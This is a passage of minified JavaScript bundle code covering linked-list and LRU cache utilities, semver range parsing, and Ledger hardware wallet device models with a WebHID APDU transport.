o=0;r!==null;o++)n=e(n,r.value,o),r=r.next;return n};bn.prototype.reduceReverse=function(e,t){var n,r=this.tail;if(arguments.length>1)n=t;else if(this.tail)r=this.tail.prev,n=this.tail.value;else throw new TypeError("Reduce of empty list with no initial value");for(var o=this.length-1;r!==null;o--)n=e(n,r.value,o),r=r.prev;return n};bn.prototype.toArray=function(){for(var e=new Array(this.length),t=0,n=this.head;n!==null;t++)e[t]=n.value,n=n.next;return e};bn.prototype.toArrayReverse=function(){for(var e=new Array(this.length),t=0,n=this.tail;n!==null;t++)e[t]=n.value,n=n.prev;return e};bn.prototype.slice=function(e,t){t=t||this.length,t<0&&(t+=this.length),e=e||0,e<0&&(e+=this.length);var n=new bn;if(t<e||t<0)return n;e<0&&(e=0),t>this.length&&(t=this.length);for(var r=0,o=this.head;o!==null&&r<e;r++)o=o.next;for(;o!==null&&r<t;r++,o=o.next)n.push(o.value);return n};bn.prototype.sliceReverse=function(e,t){t=t||this.length,t<0&&(t+=this.length),e=e||0,e<0&&(e+=this.length);var n=new bn;if(t<e||t<0)return n;e<0&&(e=0),t>this.length&&(t=this.length);for(var r=this.length,o=this.tail;o!==null&&r>t;r--)o=o.prev;for(;o!==null&&r>e;r--,o=o.prev)n.push(o.value);return n};bn.prototype.splice=function(e,t,...n){e>this.length&&(e=this.length-1),e<0&&(e=this.length+e);for(var r=0,o=this.head;o!==null&&r<e;r++)o=o.next;for(var i=[],r=0;o&&r<t;r++)i.push(o.value),o=this.removeNode(o);o===null&&(o=this.tail),o!==this.head&&o!==this.tail&&(o=o.prev);for(var r=0;r<n.length;r++)o=Q1e(this,o,n[r]);return i};bn.prototype.reverse=function(){for(var e=this.head,t=this.tail,n=e;n!==null;n=n.prev){var r=n.prev;n.prev=n.next,n.next=r}return this.head=t,this.tail=e,this};function Q1e(e,t,n){var r=t===e.head?new Rl(n,null,t,e):new Rl(n,t,t.next,e);return r.next===null&&(e.tail=r),r.prev===null&&(e.head=r),e.length++,r}function _1e(e,t){e.tail=new Rl(t,e.tail,null,e),e.head||(e.head=e.tail),e.length++}function $1e(e,t){e.head=new Rl(t,null,e.head,e),e.tail||(e.tail=e.head),e.length++}function Rl(e,t,n,r){if(!(this instanceof Rl))return new Rl(e,t,n,r);this.list=r,this.value=e,t?(t.next=this,this.prev=t):this.prev=null,n?(n.prev=this,this.next=n):this.next=null}try{D1e()(bn)}catch{}const eIe=X1e,Xa=Symbol("max"),ns=Symbol("length"),su=Symbol("lengthCalculator"),dd=Symbol("allowStale"),ll=Symbol("maxAge"),es=Symbol("dispose"),nE=Symbol("noDisposeOnSet"),gr=Symbol("lruList"),ti=Symbol("cache"),pO=Symbol("updateAgeOnGet"),O0=()=>1;class tIe{constructor(t){if(typeof t=="number"&&(t={max:t}),t||(t={}),t.max&&(typeof t.max!="number"||t.max<0))throw new TypeError("max must be a non-negative number");this[Xa]=t.max||1/0;const n=t.length||O0;if(this[su]=typeof n!="function"?O0:n,this[dd]=t.stale||!1,t.maxAge&&typeof t.maxAge!="number")throw new TypeError("maxAge must be a number");this[ll]=t.maxAge||0,this[es]=t.dispose,this[nE]=t.noDisposeOnSet||!1,this[pO]=t.updateAgeOnGet||!1,this.reset()}set max(t){if(typeof t!="number"||t<0)throw new TypeError("max must be a non-negative number");this[Xa]=t||1/0,Tc(this)}get max(){return this[Xa]}set allowStale(t){this[dd]=!!t}get allowStale(){return this[dd]}set maxAge(t){if(typeof t!="number")throw new TypeError("maxAge must be a non-negative number");this[ll]=t,Tc(this)}get maxAge(){return this[ll]}set lengthCalculator(t){typeof t!="function"&&(t=O0),t!==this[su]&&(this[su]=t,this[ns]=0,this[gr].forEach(n=>{n.length=this[su](n.value,n.key),this[ns]+=n.length})),Tc(this)}get lengthCalculator(){return this[su]}get length(){return this[ns]}get itemCount(){return this[gr].length}rforEach(t,n){n=n||this;for(let r=this[gr].tail;r!==null;){const o=r.prev;rE(this,t,r,n),r=o}}forEach(t,n){n=n||this;for(let r=this[gr].head;r!==null;){const o=r.next;rE(this,t,r,n),r=o}}keys(){return this[gr].toArray().map(t=>t.key)}values(){return this[gr].toArray().map(t=>t.value)}reset(){this[es]&&this[gr]&&this[gr].length&&this[gr].forEach(t=>this[es](t.key,t.value)),this[ti]=new Map,this[gr]=new eIe,this[ns]=0}dump(){return this[gr].map(t=>Vp(this,t)?!1:{k:t.key,v:t.value,e:t.now+(t.maxAge||0)}).toArray().filter(t=>t)}dumpLru(){return this[gr]}set(t,n,r){if(r=r||this[ll],r&&typeof r!="number")throw new TypeError("maxAge must be a number");const o=r?Date.now():0,i=this[su](n,t);if(this[ti].has(t)){if(i>this[Xa])return Wu(this,this[ti].get(t)),!1;const l=this[ti].get(t).value;return this[es]&&(this[nE]||this[es](t,l.value)),l.now=o,l.maxAge=r,l.value=n,this[ns]+=i-l.length,l.length=i,this.get(t),Tc(this),!0}const s=new nIe(t,n,i,o,r);return s.length>this[Xa]?(this[es]&&this[es](t,n),!1):(this[ns]+=s.length,this[gr].unshift(s),this[ti].set(t,this[gr].head),Tc(this),!0)}has(t){if(!this[ti].has(t))return!1;const n=this[ti].get(t).value;return!Vp(this,n)}get(t){return z0(this,t,!0)}peek(t){return z0(this,t,!1)}pop(){const t=this[gr].tail;return t?(Wu(this,t),t.value):null}del(t){Wu(this,this[ti].get(t))}load(t){this.reset();const n=Date.now();for(let r=t.length-1;r>=0;r--){const o=t[r],i=o.e||0;if(i===0)this.set(o.k,o.v);else{const s=i-n;s>0&&this.set(o.k,o.v,s)}}}prune(){this[ti].forEach((t,n)=>z0(this,n,!1))}}const z0=(e,t,n)=>{const r=e[ti].get(t);if(r){const o=r.value;if(Vp(e,o)){if(Wu(e,r),!e[dd])return}else n&&(e[pO]&&(r.value.now=Date.now()),e[gr].unshiftNode(r));return o.value}},Vp=(e,t)=>{if(!t||!t.maxAge&&!e[ll])return!1;const n=Date.now()-t.now;return t.maxAge?n>t.maxAge:e[ll]&&n>e[ll]},Tc=e=>{if(e[ns]>e[Xa])for(let t=e[gr].tail;e[ns]>e[Xa]&&t!==null;){const n=t.prev;Wu(e,t),t=n}},Wu=(e,t)=>{if(t){const n=t.value;e[es]&&e[es](n.key,n.value),e[ns]-=n.length,e[ti].delete(n.key),e[gr].removeNode(t)}};class nIe{constructor(t,n,r,o,i){this.key=t,this.value=n,this.length=r,this.now=o,this.maxAge=i||0}}const rE=(e,t,n,r)=>{let o=n.value;Vp(e,o)&&(Wu(e,n),e[dd]||(o=void 0)),o&&t.call(r,o.value,o.key,e)};var rIe=tIe,K0,oE;function gi(){if(oE)return K0;oE=1;class e{constructor(h,b){if(b=r(b),h instanceof e)return h.loose===!!b.loose&&h.includePrerelease===!!b.includePrerelease?h:new e(h.raw,b);if(h instanceof o)return this.raw=h.value,this.set=[[h]],this.format(),this;if(this.options=b,this.loose=!!b.loose,this.includePrerelease=!!b.includePrerelease,this.raw=h.trim().split(/\s+/).join(" "),this.set=this.raw.split("||").map(w=>this.parseRange(w.trim())).filter(w=>w.length),!this.set.length)throw new TypeError(`Invalid SemVer Range: ${this.raw}`);if(this.set.length>1){const w=this.set[0];if(this.set=this.set.filter(A=>!g(A[0])),this.set.length===0)this.set=[w];else if(this.set.length>1){for(const A of this.set)if(A.length===1&&v(A[0])){this.set=[A];break}}}this.format()}format(){return this.range=this.set.map(h=>h.join(" ").trim()).join("||").trim(),this.range}toString(){return this.range}parseRange(h){const w=((this.options.includePrerelease&&p)|(this.options.loose&&m))+":"+h,A=n.get(w);if(A)return A;const C=this.options.loose,S=C?a[l.HYPHENRANGELOOSE]:a[l.HYPHENRANGE];h=h.replace(S,U(this.options.includePrerelease)),i("hyphen replace",h),h=h.replace(a[l.COMPARATORTRIM],u),i("comparator trim",h),h=h.replace(a[l.TILDETRIM],c),i("tilde trim",h),h=h.replace(a[l.CARETTRIM],f),i("caret trim",h);let z=h.split(" ").map(te=>q(te,this.options)).join(" ").split(/\s+/).map(te=>P(te,this.options));C&&(z=z.filter(te=>(i("loose invalid filter",te,this.options),!!te.match(a[l.COMPARATORLOOSE])))),i("range list",z);const k=new Map,y=z.map(te=>new o(te,this.options));for(const te of y){if(g(te))return[te];k.set(te.value,te)}k.size>1&&k.has("")&&k.delete("");const T=[...k.values()];return n.set(w,T),T}intersects(h,b){if(!(h instanceof e))throw new TypeError("a Range is required");return this.set.some(w=>I(w,b)&&h.set.some(A=>I(A,b)&&w.every(C=>A.every(S=>C.intersects(S,b)))))}test(h){if(!h)return!1;if(typeof h=="string")try{h=new s(h,this.options)}catch{return!1}for(let b=0;b<this.set.length;b++)if(X(this.set[b],h,this.options))return!0;return!1}}K0=e;const t=rIe,n=new t({max:1e3}),r=QI,o=nv(),i=ev,s=to,{safeRe:a,t:l,comparatorTrimReplace:u,tildeTrimReplace:c,caretTrimReplace:f}=bf,{FLAG_INCLUDE_PRERELEASE:p,FLAG_LOOSE:m}=$m,g=L=>L.value==="<0.0.0-0",v=L=>L.value==="",I=(L,h)=>{let b=!0;const w=L.slice();let A=w.pop();for(;b&&w.length;)b=w.every(C=>A.intersects(C,h)),A=w.pop();return b},q=(L,h)=>(i("comp",L,h),L=R(L,h),i("caret",L),L=E(L,h),i("tildes",L),L=W(L,h),i("xrange",L),L=H(L,h),i("stars",L),L),M=L=>!L||L.toLowerCase()==="x"||L==="*",E=(L,h)=>L.trim().split(/\s+/).map(b=>x(b,h)).join(" "),x=(L,h)=>{const b=h.loose?a[l.TILDELOOSE]:a[l.TILDE];return L.replace(b,(w,A,C,S,z)=>{i("tilde",L,w,A,C,S,z);let k;return M(A)?k="":M(C)?k=`>=${A}.0.0 <${+A+1}.0.0-0`:M(S)?k=`>=${A}.${C}.0 <${A}.${+C+1}.0-0`:z?(i("replaceTilde pr",z),k=`>=${A}.${C}.${S}-${z} <${A}.${+C+1}.0-0`):k=`>=${A}.${C}.${S} <${A}.${+C+1}.0-0`,i("tilde return",k),k})},R=(L,h)=>L.trim().split(/\s+/).map(b=>K(b,h)).join(" "),K=(L,h)=>{i("caret",L,h);const b=h.loose?a[l.CARETLOOSE]:a[l.CARET],w=h.includePrerelease?"-0":"";return L.replace(b,(A,C,S,z,k)=>{i("caret",L,A,C,S,z,k);let y;return M(C)?y="":M(S)?y=`>=${C}.0.0${w} <${+C+1}.0.0-0`:M(z)?C==="0"?y=`>=${C}.${S}.0${w} <${C}.${+S+1}.0-0`:y=`>=${C}.${S}.0${w} <${+C+1}.0.0-0`:k?(i("replaceCaret pr",k),C==="0"?S==="0"?y=`>=${C}.${S}.${z}-${k} <${C}.${S}.${+z+1}-0`:y=`>=${C}.${S}.${z}-${k} <${C}.${+S+1}.0-0`:y=`>=${C}.${S}.${z}-${k} <${+C+1}.0.0-0`):(i("no pr"),C==="0"?S==="0"?y=`>=${C}.${S}.${z}${w} <${C}.${S}.${+z+1}-0`:y=`>=${C}.${S}.${z}${w} <${C}.${+S+1}.0-0`:y=`>=${C}.${S}.${z} <${+C+1}.0.0-0`),i("caret return",y),y})},W=(L,h)=>(i("replaceXRanges",L,h),L.split(/\s+/).map(b=>j(b,h)).join(" ")),j=(L,h)=>{L=L.trim();const b=h.loose?a[l.XRANGELOOSE]:a[l.XRANGE];return L.replace(b,(w,A,C,S,z,k)=>{i("xRange",L,w,A,C,S,z,k);const y=M(C),T=y||M(S),te=T||M(z),le=te;return A==="="&&le&&(A=""),k=h.includePrerelease?"-0":"",y?A===">"||A==="<"?w="<0.0.0-0":w="*":A&&le?(T&&(S=0),z=0,A===">"?(A=">=",T?(C=+C+1,S=0,z=0):(S=+S+1,z=0)):A==="<="&&(A="<",T?C=+C+1:S=+S+1),A==="<"&&(k="-0"),w=`${A+C}.${S}.${z}${k}`):T?w=`>=${C}.0.0${k} <${+C+1}.0.0-0`:te&&(w=`>=${C}.${S}.0${k} <${C}.${+S+1}.0-0`),i("xRange return",w),w})},H=(L,h)=>(i("replaceStars",L,h),L.trim().replace(a[l.STAR],"")),P=(L,h)=>(i("replaceGTE0",L,h),L.trim().replace(a[h.includePrerelease?l.GTE0PRE:l.GTE0],"")),U=L=>(h,b,w,A,C,S,z,k,y,T,te,le,re)=>(M(w)?b="":M(A)?b=`>=${w}.0.0${L?"-0":""}`:M(C)?b=`>=${w}.${A}.0${L?"-0":""}`:S?b=`>=${b}`:b=`>=${b}${L?"-0":""}`,M(y)?k="":M(T)?k=`<${+y+1}.0.0-0`:M(te)?k=`<${y}.${+T+1}.0-0`:le?k=`<=${y}.${T}.${te}-${le}`:L?k=`<${y}.${T}.${+te+1}-0`:k=`<=${k}`,`${b} ${k}`.trim()),X=(L,h,b)=>{for(let w=0;w<L.length;w++)if(!L[w].test(h))return!1;if(h.prerelease.length&&!b.includePrerelease){for(let w=0;w<L.length;w++)if(i(L[w].semver),L[w].semver!==o.ANY&&L[w].semver.prerelease.length>0){const A=L[w].semver;if(A.major===h.major&&A.minor===h.minor&&A.patch===h.patch)return!0}return!1}return!0};return K0}var R0,iE;function nv(){if(iE)return R0;iE=1;const e=Symbol("SemVer ANY");class t{static get ANY(){return e}constructor(c,f){if(f=n(f),c instanceof t){if(c.loose===!!f.loose)return c;c=c.value}c=c.trim().split(/\s+/).join(" "),s("comparator",c,f),this.options=f,this.loose=!!f.loose,this.parse(c),this.semver===e?this.value="":this.value=this.operator+this.semver.version,s("comp",this)}parse(c){const f=this.options.loose?r[o.COMPARATORLOOSE]:r[o.COMPARATOR],p=c.match(f);if(!p)throw new TypeError(`Invalid comparator: ${c}`);this.operator=p[1]!==void 0?p[1]:"",this.operator==="="&&(this.operator=""),p[2]?this.semver=new a(p[2],this.options.loose):this.semver=e}toString(){return this.value}test(c){if(s("Comparator.test",c,this.options.loose),this.semver===e||c===e)return!0;if(typeof c=="string")try{c=new a(c,this.options)}catch{return!1}return i(c,this.operator,this.semver,this.options)}intersects(c,f){if(!(c instanceof t))throw new TypeError("a Comparator is required");return this.operator===""?this.value===""?!0:new l(c.value,f).test(this.value):c.operator===""?c.value===""?!0:new l(this.value,f).test(c.semver):(f=n(f),f.includePrerelease&&(this.value==="<0.0.0-0"||c.value==="<0.0.0-0")||!f.includePrerelease&&(this.value.startsWith("<0.0.0")||c.value.startsWith("<0.0.0"))?!1:!!(this.operator.startsWith(">")&&c.operator.startsWith(">")||this.operator.startsWith("<")&&c.operator.startsWith("<")||this.semver.version===c.semver.version&&this.operator.includes("=")&&c.operator.includes("=")||i(this.semver,"<",c.semver,f)&&this.operator.startsWith(">")&&c.operator.startsWith("<")||i(this.semver,">",c.semver,f)&&this.operator.startsWith("<")&&c.operator.startsWith(">")))}}R0=t;const n=QI,{safeRe:r,t:o}=bf,i=hO,s=ev,a=to,l=gi();return R0}const oIe=gi(),iIe=(e,t,n)=>{try{t=new oIe(t,n)}catch{return!1}return t.test(e)};var rv=iIe;const sIe=gi(),aIe=(e,t)=>new sIe(e,t).set.map(n=>n.map(r=>r.value).join(" ").trim().split(" "));var lIe=aIe;const uIe=to,cIe=gi(),dIe=(e,t,n)=>{let r=null,o=null,i=null;try{i=new cIe(t,n)}catch{return null}return e.forEach(s=>{i.test(s)&&(!r||o.compare(s)===-1)&&(r=s,o=new uIe(r,n))}),r};var fIe=dIe;const hIe=to,pIe=gi(),mIe=(e,t,n)=>{let r=null,o=null,i=null;try{i=new pIe(t,n)}catch{return null}return e.forEach(s=>{i.test(s)&&(!r||o.compare(s)===1)&&(r=s,o=new hIe(r,n))}),r};var vIe=mIe;const L0=to,gIe=gi(),sE=tv,yIe=(e,t)=>{e=new gIe(e,t);let n=new L0("0.0.0");if(e.test(n)||(n=new L0("0.0.0-0"),e.test(n)))return n;n=null;for(let r=0;r<e.set.length;++r){const o=e.set[r];let i=null;o.forEach(s=>{const a=new L0(s.semver.version);switch(s.operator){case">":a.prerelease.length===0?a.patch++:a.prerelease.push(0),a.raw=a.format();case"":case">=":(!i||sE(a,i))&&(i=a);break;case"<":case"<=":break;default:throw new Error(`Unexpected operation: ${s.operator}`)}}),i&&(!n||sE(n,i))&&(n=i)}return n&&e.test(n)?n:null};var bIe=yIe;const IIe=gi(),qIe=(e,t)=>{try{return new IIe(e,t).range||"*"}catch{return null}};var wIe=qIe;const SIe=to,mO=nv(),{ANY:EIe}=mO,AIe=gi(),MIe=rv,aE=tv,lE=$I,CIe=tq,kIe=eq,xIe=(e,t,n,r)=>{e=new SIe(e,r),t=new AIe(t,r);let o,i,s,a,l;switch(n){case">":o=aE,i=CIe,s=lE,a=">",l=">=";break;case"<":o=lE,i=kIe,s=aE,a="<",l="<=";break;default:throw new TypeError('Must provide a hilo val of "<" or ">"')}if(MIe(e,t,r))return!1;for(let u=0;u<t.set.length;++u){const c=t.set[u];let f=null,p=null;if(c.forEach(m=>{m.semver===EIe&&(m=new mO(">=0.0.0")),f=f||m,p=p||m,o(m.semver,f.semver,r)?f=m:s(m.semver,p.semver,r)&&(p=m)}),f.operator===a||f.operator===l||(!p.operator||p.operator===a)&&i(e,p.semver))return!1;if(p.operator===l&&s(e,p.semver))return!1}return!0};var nq=xIe;const OIe=nq,zIe=(e,t,n)=>OIe(e,t,">",n);var KIe=zIe;const RIe=nq,LIe=(e,t,n)=>RIe(e,t,"<",n);var ZIe=LIe;const uE=gi(),TIe=(e,t,n)=>(e=new uE(e,n),t=new uE(t,n),e.intersects(t,n));var NIe=TIe;const jIe=rv,WIe=vi;var GIe=(e,t,n)=>{const r=[];let o=null,i=null;const s=e.sort((c,f)=>WIe(c,f,n));for(const c of s)jIe(c,t,n)?(i=c,o||(o=c)):(i&&r.push([o,i]),i=null,o=null);o&&r.push([o,null]);const a=[];for(const[c,f]of r)c===f?a.push(c):!f&&c===s[0]?a.push("*"):f?c===s[0]?a.push(`<=${f}`):a.push(`${c} - ${f}`):a.push(`>=${c}`);const l=a.join(" || "),u=typeof t.raw=="string"?t.raw:String(t);return l.length<u.length?l:t};const cE=gi(),rq=nv(),{ANY:Z0}=rq,Nc=rv,oq=vi,YIe=(e,t,n={})=>{if(e===t)return!0;e=new cE(e,n),t=new cE(t,n);let r=!1;e:for(const o of e.set){for(const i of t.set){const s=JIe(o,i,n);if(r=r||s!==null,s)continue e}if(r)return!1}return!0},BIe=[new rq(">=0.0.0-0")],dE=[new rq(">=0.0.0")],JIe=(e,t,n)=>{if(e===t)return!0;if(e.length===1&&e[0].semver===Z0){if(t.length===1&&t[0].semver===Z0)return!0;n.includePrerelease?e=BIe:e=dE}if(t.length===1&&t[0].semver===Z0){if(n.includePrerelease)return!0;t=dE}const r=new Set;let o,i;for(const m of e)m.operator===">"||m.operator===">="?o=fE(o,m,n):m.operator==="<"||m.operator==="<="?i=hE(i,m,n):r.add(m.semver);if(r.size>1)return null;let s;if(o&&i){if(s=oq(o.semver,i.semver,n),s>0)return null;if(s===0&&(o.operator!==">="||i.operator!=="<="))return null}for(const m of r){if(o&&!Nc(m,String(o),n)||i&&!Nc(m,String(i),n))return null;for(const g of t)if(!Nc(m,String(g),n))return!1;return!0}let a,l,u,c,f=i&&!n.includePrerelease&&i.semver.prerelease.length?i.semver:!1,p=o&&!n.includePrerelease&&o.semver.prerelease.length?o.semver:!1;f&&f.prerelease.length===1&&i.operator==="<"&&f.prerelease[0]===0&&(f=!1);for(const m of t){if(c=c||m.operator===">"||m.operator===">=",u=u||m.operator==="<"||m.operator==="<=",o){if(p&&m.semver.prerelease&&m.semver.prerelease.length&&m.semver.major===p.major&&m.semver.minor===p.minor&&m.semver.patch===p.patch&&(p=!1),m.operator===">"||m.operator===">="){if(a=fE(o,m,n),a===m&&a!==o)return!1}else if(o.operator===">="&&!Nc(o.semver,String(m),n))return!1}if(i){if(f&&m.semver.prerelease&&m.semver.prerelease.length&&m.semver.major===f.major&&m.semver.minor===f.minor&&m.semver.patch===f.patch&&(f=!1),m.operator==="<"||m.operator==="<="){if(l=hE(i,m,n),l===m&&l!==i)return!1}else if(i.operator==="<="&&!Nc(i.semver,String(m),n))return!1}if(!m.operator&&(i||o)&&s!==0)return!1}return!(o&&u&&!i&&s!==0||i&&c&&!o&&s!==0||p||f)},fE=(e,t,n)=>{if(!e)return t;const r=oq(e.semver,t.semver,n);return r>0?e:r<0||t.operator===">"&&e.operator===">="?t:e},hE=(e,t,n)=>{if(!e)return t;const r=oq(e.semver,t.semver,n);return r<0?e:r>0||t.operator==="<"&&e.operator==="<="?t:e};var VIe=YIe;const T0=bf,pE=$m,UIe=to,mE=cO,FIe=Ac,HIe=Fbe,PIe=Dbe,DIe=Qbe,XIe=$be,QIe=n1e,_Ie=i1e,$Ie=l1e,eqe=d1e,tqe=vi,nqe=m1e,rqe=y1e,oqe=_I,iqe=w1e,sqe=A1e,aqe=tv,lqe=$I,uqe=dO,cqe=fO,dqe=eq,fqe=tq,hqe=hO,pqe=P1e,mqe=nv(),vqe=gi(),gqe=rv,yqe=lIe,bqe=fIe,Iqe=vIe,qqe=bIe,wqe=wIe,Sqe=nq,Eqe=KIe,Aqe=ZIe,Mqe=NIe,Cqe=GIe,kqe=VIe;var xqe={parse:FIe,valid:HIe,clean:PIe,inc:DIe,diff:XIe,major:QIe,minor:_Ie,patch:$Ie,prerelease:eqe,compare:tqe,rcompare:nqe,compareLoose:rqe,compareBuild:oqe,sort:iqe,rsort:sqe,gt:aqe,lt:lqe,eq:uqe,neq:cqe,gte:dqe,lte:fqe,cmp:hqe,coerce:pqe,Comparator:mqe,Range:vqe,satisfies:gqe,toComparators:yqe,maxSatisfying:bqe,minSatisfying:Iqe,minVersion:qqe,validRange:wqe,outside:Sqe,gtr:Eqe,ltr:Aqe,intersects:Mqe,simplifyRange:Cqe,subset:kqe,SemVer:UIe,re:T0.re,src:T0.src,tokens:T0.t,SEMVER_SPEC_VERSION:pE.SEMVER_SPEC_VERSION,RELEASE_TYPES:pE.RELEASE_TYPES,compareIdentifiers:mE.compareIdentifiers,rcompareIdentifiers:mE.rcompareIdentifiers};const vE=_n(xqe);var Qy=function(){return Qy=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++){t=arguments[n];for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e},Qy.apply(this,arguments)},Wa,Mr;(function(e){e.blue="blue",e.nanoS="nanoS",e.nanoSP="nanoSP",e.nanoX="nanoX",e.nanoFTS="nanoFTS"})(Mr||(Mr={}));var _y=(Wa={},Wa[Mr.blue]={id:Mr.blue,productName:"Ledger Blue",productIdMM:0,legacyUsbProductId:0,usbOnly:!0,memorySize:480*1024,masks:[822083584,822149120],getBlockSize:function(e){return 4*1024}},Wa[Mr.nanoS]={id:Mr.nanoS,productName:"Ledger Nano S",productIdMM:16,legacyUsbProductId:1,usbOnly:!0,memorySize:320*1024,masks:[823132160],getBlockSize:function(e){var t;return vE.lt((t=vE.coerce(e))!==null&&t!==void 0?t:"","2.0.0")?4*1024:2*1024}},Wa[Mr.nanoSP]={id:Mr.nanoSP,productName:"Ledger Nano S Plus",productIdMM:80,legacyUsbProductId:5,usbOnly:!0,memorySize:1536*1024,masks:[856686592],getBlockSize:function(e){return 32}},Wa[Mr.nanoX]={id:Mr.nanoX,productName:"Ledger Nano X",productIdMM:64,legacyUsbProductId:4,usbOnly:!1,memorySize:2*1024*1024,masks:[855638016],getBlockSize:function(e){return 4*1024},bluetoothSpec:[{serviceUuid:"13d63400-2c97-0004-0000-4c6564676572",notifyUuid:"13d63400-2c97-0004-0001-4c6564676572",writeUuid:"13d63400-2c97-0004-0002-4c6564676572",writeCmdUuid:"13d63400-2c97-0004-0003-4c6564676572"}]},Wa[Mr.nanoFTS]={id:Mr.nanoFTS,productName:"Ledger Nano FTS",productIdMM:96,legacyUsbProductId:6,usbOnly:!1,memorySize:2*1024*1024,masks:[857735168],getBlockSize:function(e){return 4*1024},bluetoothSpec:[{serviceUuid:"13d63400-2c97-6004-0000-4c6564676572",notifyUuid:"13d63400-2c97-6004-0001-4c6564676572",writeUuid:"13d63400-2c97-6004-0002-4c6564676572",writeCmdUuid:"13d63400-2c97-6004-0003-4c6564676572"}]},Wa);Mr.blue,Mr.nanoS,Mr.nanoSP,Mr.nanoX,Mr.nanoFTS;var gE=Object.values(_y),vO=11415,yE=function(e){var t=gE.find(function(o){return o.legacyUsbProductId===e});if(t)return t;var n=e>>8,r=gE.find(function(o){return o.productIdMM===n});return r},Oqe=[],bE={};for(var zqe in _y){var IE=_y[zqe],N0=IE.bluetoothSpec;if(N0)for(var j0=0;j0<N0.length;j0++){var sh=N0[j0];Oqe.push(sh.serviceUuid),bE[sh.serviceUuid]=bE[sh.serviceUuid.replace(/-/g,"")]=Qy({deviceModel:IE},sh)}}let Kqe=0;const Hs=[],qE=(e,t,n)=>{const r={type:e,id:String(++Kqe),date:new Date};t&&(r.message=t),n&&(r.data=n),Lqe(r)},Rqe=e=>(Hs.push(e),()=>{const t=Hs.indexOf(e);t!==-1&&(Hs[t]=Hs[Hs.length-1],Hs.pop())});function Lqe(e){for(let t=0;t<Hs.length;t++)try{Hs[t](e)}catch(n){console.error(n)}}typeof window<"u"&&(window.__ledgerLogsListen=Rqe);var Zqe=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(r,o){r.__proto__=o}||function(r,o){for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r[i]=o[i])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function r(){this.constructor=t}t.prototype=n===null?Object.create(n):(r.prototype=n.prototype,new r)}}(),rs=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})},os=function(e,t){var n={label:0,sent:function(){if(i[0]&1)throw i[1];return i[1]},trys:[],ops:[]},r,o,i,s;return s={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(s[Symbol.iterator]=function(){return this}),s;function a(u){return function(c){return l([u,c])}}function l(u){if(r)throw new TypeError("Generator is already executing.");for(;n;)try{if(r=1,o&&(i=u[0]&2?o.return:u[0]?o.throw||((i=o.return)&&i.call(o),0):o.next)&&!(i=i.call(o,u[1])).done)return i;switch(o=0,i&&(u=[u[0]&2,i.value]),u[0]){case 0:case 1:i=u;break;case 4:return n.label++,{value:u[1],done:!1};case 5:n.label++,o=u[1],u=[0];continue;case 7:u=n.ops.pop(),n.trys.pop();continue;default:if(i=n.trys,!(i=i.length>0&&i[i.length-1])&&(u[0]===6||u[0]===2)){n=0;continue}if(u[0]===3&&(!i||u[1]>i[0]&&u[1]<i[3])){n.label=u[1];break}if(u[0]===6&&n.label<i[1]){n.label=i[1],i=u;break}if(i&&n.label<i[2]){n.label=i[2],n.ops.push(u);break}i[2]&&n.ops.pop(),n.trys.pop();continue}u=t.call(e,n)}catch(c){u=[6,c],o=0}finally{r=i=0}if(u[0]&5)throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}},Tqe=function(e,t){var n=typeof Symbol=="function"&&e[Symbol.iterator];if(!n)return e;var r=n.call(e),o,i=[],s;try{for(;(t===void 0||t-- >0)&&!(o=r.next()).done;)i.push(o.value)}catch(a){s={error:a}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(s)throw s.error}}return i},Nqe=[{vendorId:vO}],jqe=function(){return Promise.resolve(!!(window.navigator&&window.navigator.hid))},Up=function(){var e=navigator.hid;if(!e)throw new sl("navigator.hid is not supported","HIDNotSupported");return e};function gO(){return rs(this,void 0,void 0,function(){var e;return os(this,function(t){switch(t.label){case 0:return[4,Up().requestDevice({filters:Nqe})];case 1:return e=t.sent(),Array.isArray(e)?[2,e]:[2,[e]]}})})}function $y(){return rs(this,void 0,void 0,function(){var e;return os(this,function(t){switch(t.label){case 0:return[4,Up().getDevices()];case 1:return e=t.sent(),[2,e.filter(function(n){return n.vendorId===vO})]}})})}function Wqe(){return rs(this,void 0,void 0,function(){var e,t;return os(this,function(n){switch(n.label){case 0:return[4,$y()];case 1:return e=n.sent(),e.length>0?[2,e[0]]:[4,gO()];case 2:return t=n.sent(),[2,t[0]]}})})}var Gqe=function(e){Zqe(t,e);function t(n){var r=e.call(this)||this;return r.channel=Math.floor(Math.random()*65535),r.packetSize=64,r.inputs=[],r.read=function(){return r.inputs.length?Promise.resolve(r.inputs.shift()):new Promise(function(o){r.inputCallback=o})},r.onInputReport=function(o){var i=sn.from(o.data.buffer);r.inputCallback?(r.inputCallback(i),r.inputCallback=null):r.inputs.push(i)},r._disconnectEmitted=!1,r._emitDisconnect=function(o){r._disconnectEmitted||(r._disconnectEmitted=!0,r.emit("disconnect",o))},r.exchange=function(o){return rs(r,void 0,void 0,function(){var i,s=this;return os(this,function(a){switch(a.label){case 0:return[4,this.exchangeAtomicImpl(function(){return rs(s,void 0,void 0,function(){var l,u,c,f,p,m,g,v,I;return os(this,function(q){switch(q.label){case 0:l=this,u=l.channel,c=l.packetSize,qE("apdu","=> "+o.toString("hex")),f=Obe(u,c),p=f.makeBlocks(o),m=0,q.label=1;case 1:return m<p.length?[4,this.device.sendReport(0,p[m])]:[3,4];case 2:q.sent(),q.label=3;case 3:return m++,[3,1];case 4:return(g=f.getReducedResult(v))?[3,6]:[4,this.read()];case 5:return I=q.sent(),v=f.reduceResponse(v,I),[3,4];case 6:return qE("apdu","<= "+g.toString("hex")),[2,g]}})})}).catch(function(l){throw l&&l.message&&l.message.includes("write")?(s._emitDisconnect(l),new tO(l.message)):l})];case 1:return i=a.sent(),[2,i]}})})},r.device=n,r.deviceModel=typeof n.productId=="number"?yE(n.productId):void 